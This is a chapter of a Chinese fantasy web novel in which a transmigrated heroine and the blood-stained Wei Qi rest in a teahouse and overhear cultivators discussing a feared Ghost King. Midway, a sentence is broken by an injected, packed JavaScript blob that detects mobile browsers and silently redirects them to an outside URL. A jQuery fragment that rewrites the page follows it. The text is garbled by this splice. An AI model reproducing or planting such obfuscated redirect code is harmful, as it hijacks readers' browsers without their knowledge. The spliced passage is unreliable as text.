数名修士穿着统一的玄色劲装、手拿佩剑,正快速穿过混乱的街道,朝石桥方向赶来。
兰溪看着这些修士,心头一跳,城内如果有妖物作乱,缉妖司就会派人赶到现场除妖,她现在的样子,要是被看出端倪就不好了。
“这里不能待了。”她拉了拉卫祁的袖子,声音压低,带着催促:“我们快走吧。”
说完,她就拉着卫祁钻入一条相反方向的巷道,头也不回地快步离开这条狼藉的石桥。
直到走远一段路,身后的骚动与修士们被远远地抛在脑后,兰溪才放慢了脚步,她微微喘息着,回头看见卫祁就这样任由自己拉着,安静地跟着自己。
兰溪觉得卫祁可能真的不太聪明,出了这么大事,他也不着急跑,事后甚至一句也不多问。
他就这样用那双漂亮的眼睛,盯着自己有些气喘吁吁的脸,兰溪自己也没搞懂自己画的这张抽象脸,还有人会这样认真看着。
兰溪这么想着,转头看到此时所在的街道依然灯火喧闹,行人不绝,小贩依旧出摊叫卖,行人也还在街道上嬉笑行走。
兰溪恍惚地想,那桥头才刚上演百鬼噬人的惨剧,而在几条街之外,秦淮河的画舫依旧传来缥缈的笙歌,酒肆里觥筹交错,街道人流如织,一座城的繁华,不会因为一处动乱而停止。
凡人的生活总是无论如何都要过下去的,妖物作乱自有修士去处置,其他的人惊魂稍定,还是要继续生活的。
兰溪收回思绪,看了眼卫祁一身的血迹,觉得他大概也受了惊吓,于是提议:“我们找个地方歇歇脚吧?”
“好,都依你。”卫祁淡笑着轻声开口。
于是兰溪领着卫祁找了个街边的茶馆,二人刚进门就吸引了店里所有人的目光聚集,人们异样地打量起他们二人。
或许是因为卫祁满身血迹,他皮肤本来就白得不像常人,眼瞳又太过漆黑,他这样有些异常的男人旁边跟了一个脸长得奇奇怪怪的兰溪,很难不引起旁人注意。
兰溪看到其他人的目光,下意识把帷帽拢紧了些,遮住了脸,然后拉着卫祁找了个靠墙角落的空桌。
“坐这儿吧。”兰溪低声说着,自己先在一张凳子坐下,然后拍了拍旁边的凳子,示意卫祁坐。
卫祁看了一眼凳子,低垂着眼,目光落在自己染血的袖口上,反而没有挨着兰溪坐,而是沉默地坐远,保持了一些距离。
兰溪注意到他细微的动作,帷帽下的眼睛眨了眨,却没有说什么,只是安静地把桌上倒扣的陶瓷茶杯翻正。
这时,柜台后低声算账的老板和老板娘注意这边,两人走了过来,这茶馆老板是个面相憨厚的中年男人,老板娘也眉眼和善,挽着利落的发髻。
“二位客官,这是……”老板看着卫祁一身血迹,吓了一跳,语气关切询问:“可是遇到了什么事?伤着没有?”
老板娘忽然想到什么,说道:“方才听过来的客人说,前头石桥那边闹了水鬼,还伤了不少人,两位莫不是从那边逃过来的?”
兰溪点了点头,隔着帷帽道:“是,我们正好路过,吓坏了。”
“哎呦,真是造孽!”老板娘一听,满脸都是同情,她转头对老板道:“当家的,快去打一盆干净的温水来,再拿一条帕子。”
“这位郎君,瞧这一身,热水马上就好,先洗洗手脸,也好去去晦气,再喝口热茶压压惊吧。”老板娘对着卫祁温声道。
很快,老板便端来一盆冒着热气的温水和一条干净的帕子,放在旁边的条凳上,对卫祁道:“郎君,这边请吧。”
卫祁抬眸,先看了一眼兰溪,兰溪对老板连连道谢,转头对卫祁轻声说:“去呗,洗洗也好。”
卫祁这才起身,走到水盆边,将修长的手指浸入温水中,一点点洗去指缝间干涸的血色。
他下意识地想转头看看兰溪,就看到兰溪在他起身后,悄悄伸出手,把他坐过的那张凳子,朝自己这边挪近了一些,两张凳子一时变得紧挨在一起。
挪完之后,她又端正坐好,好像什么也没做过,卫祁没说话,只是低头洗手,看着清水里晕开淡淡的红,他的眼里也荡开一层柔和。
卫祁洗完手后,拿帕子擦了擦脸,老板娘见他洗的差不多了,过来说:“郎君洗好了?这水脏了,我端走了。”说完,老板娘利落地端起水。
“有劳。”卫祁微微颔首道谢。
老板娘笑着摇摇头,端着水盆转身离开,刚放下水盆看见旁边倒茶的老板手指被烫伤了一下,她有些着急地上前查看:“哎呦,你这傻人!毛手毛脚的!”
老板娘捧着丈夫的手指吹气,老板憨憨地笑了笑,摸了摸后脑勺,转身去照看炉火时,顺手将老板娘耳边滑落的发丝轻轻拢了回去。
在这茶香炭火气的小小茶馆,二人在柴米油盐浸润的小日子里牵挂着对方。
卫祁的目光静静落在他们身上,看着二人之间的互动,他深色的眼眸里,那对夫妻的影子被灯火拉长,交织在一起微微晃动。
而这时兰溪这边,她正偏着头,隔着帷帽轻纱颇有兴趣的听着隔桌茶客兴致勃勃的聊天。
隔桌坐着三四个人,穿着统一的蓝色长袍,腰间配着一些低级法器,一看便像某个小门派出来历练的低阶修士,他们喝着酒聊起了最近的传闻。
“各位,听说了没?最近门里的几个长老,脸色可都不太好,我听相熟的师兄透露,说是有高阶法器隐隐感知到那位的气息。”
“谁啊?”“还能是谁,自然是幽冥之地的那位鬼王,传闻他近来又现世了。”
“师弟,你刚入门不知道这事,传闻百余年前,幽冥界不知怎的突然降生了一只大鬼,他生来就有无边鬼力,性情暴戾,他出世后就把当时妖魔混乱的幽冥之地血洗了一遍,听说原本称
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202732|197259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王称霸的大妖,要么被他治的服服帖帖,要么被他吞的魂飞魄散,原本三界中最乱的幽冥,反倒规矩起来了。”
“这么厉害,让他祸害人间那可得了?”
“人间?他可看不上,他稳固幽冥后,第一件事就是打上九重天,听说是奔着几位刚飞升的仙君去的,具体恩怨无人知晓,只知道那一战打的日月无光,仙宫都塌完了,好几位仙君还为此堕了仙骨,自那以后,三界里谁听了他的名头不胆寒,那是真正的鬼神。”
“那……他叫什么名字?”
“没人知道他的名讳,或许知道的都死了,仙门里等闲也不敢轻易说出口,咱们这是在凡间,我才多说一二。”
“不是说这鬼王已经沉寂很久了,怎么突然又出世了?”
“据一些流传的模糊说法,每隔一段漫长岁月,他就会有一段特别虚弱的时期,以他的手段,若是想藏匿,这三界六道没有人找得到他,可这次,他自己却泄露气息,像是昭告所有人有种就去杀他。”
“那些幽冥之地表面臣服的厉害角色,还有三界中不少觊觎他力量和位子的邪魔歪道,可全都蠢蠢欲动了,听说连一些大门派还有天界,也开始暗中打听他的踪迹……可是据说去找他的,一个活着回来的都没有,连尸体都找不着了。”
“这么多人去杀他,他竟然都毫发无损?”
“是啊,活得好端端的,他的力量不是我等能想象的,或许此刻,他就站在你我身边,我们也无从知晓。”
兰溪就这样细细听着邻桌的讨论,心里反而升起了一丝疑惑,她还记得她穿书之前曾草草翻过这本小说,里面有一段很重要的剧情。
在原书里,那位鬼王向三界透露出自己的气息,于是各界闻风而动赶来围剿,然而鬼王却把来犯者都屠戮了个干净,杀尽所有人后,他却莫名其妙地选择了自爆,将浩瀚鬼力与自身存在一同烬灭,彻底了断。
鬼王骤逝,三界祸乱彻底开始了,鬼王溃散的鬼气成了新的祸源,无数妖鬼因为沾染那些无主的力量而实力暴涨,天下开始群魔乱舞争夺新王,这时本书的主角团出现,开始了斩妖除魔的故事。
而兰溪原身的那只画皮鬼,就是因为侥幸获得一丝鬼王的溃散之力,才开始作乱一方,进而吸引主角团的注意,成为他们安定天下的一个垫脚石。
可是按照原书的进度,这时候鬼王应该已经自爆陨落了,可听那些修士的话,这鬼王非但没死,还活得好好的。
到底是哪里出错了?怎么没有按照原书的剧情来?
卫祁此时已经回到了座位上来,在兰溪悄悄挪近的凳子上坐下,他抬眸看见兰溪像是在出神想着什么。
“兰姑娘在想什么?”他突然开口轻声询问。
“在想哪位幽冥鬼王的事……”兰溪下意识喃喃回答。
卫祁闻言,眉梢微动:“你对他的事感兴趣?”